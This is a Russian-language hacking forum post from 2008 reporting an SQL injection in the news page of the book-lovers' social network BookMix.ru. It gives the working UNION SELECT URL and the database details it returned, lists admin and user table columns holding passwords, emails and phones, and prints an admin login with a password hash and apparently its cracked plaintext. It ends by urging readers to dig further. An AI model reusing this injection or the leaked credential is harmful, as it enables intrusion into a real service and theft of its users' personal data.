Показать сообщение отдельно

  #6624  
Старый 21.09.2008, 14:27
-=Static=-
Участник форума
Регистрация: 12.11.2006
Сообщений: 213
Провел на форуме:
347573

Репутация: 185
По умолчанию

Новая социальная сеть книголюбов BookMix.ru

Предистория: Сижу както на работе днем. Делать особо нечего. Почитываю новости, и натыкаюсь на интересный заголовок "Открылась социальная сеть книголюбов BookMix.ru".
Думаю а дайка посмотрю, че за сеть то?))
Захожу, вижу новости...в строке передается id. Первая мысль - SQL-Inj. И опа...вуоля!)))) Действительно инъект. Нехитрыми манипуляциями подбираю столбцы.


PHP код:
http://bookmix.ru/news/index.phtml?id=-48+union  +select+1,2,3,4,5,  6,7,8,9,10,11/* 
USER(): bookmix@localhost
DATABASE(): bookmix
VERSION(): 5.0.22

Есть доступ до information_schema, а посему поковырял таблицы, есть 2 интересные, с полями соответсвенно:

Код:
admins
	-user_id
	-name
	-login
	-pass
Код:
users
	-user_id
	-name
	-login
	-pass
	-email
	-icq
	-skype
	-description
	-birthday
	-showage
	-sex
	-phone
	-howtohear
	-photo
	-photo_tn
	-photo_tn2
	-status
	-regdate
	-logged
	-lastvisit
	-referrer
	-privatemessagesnotification
	-friends
	-reviews
	-comments
	-online
	-regcode
	-read
	-ireadadddate

admins
Код:
1: pechatnick: pechatnick: 7ac2262d4ca6e2de63094a51225b00ee (stroka)
У кого есть желание, ковыряйте дальше))
 
Ответить с цитированием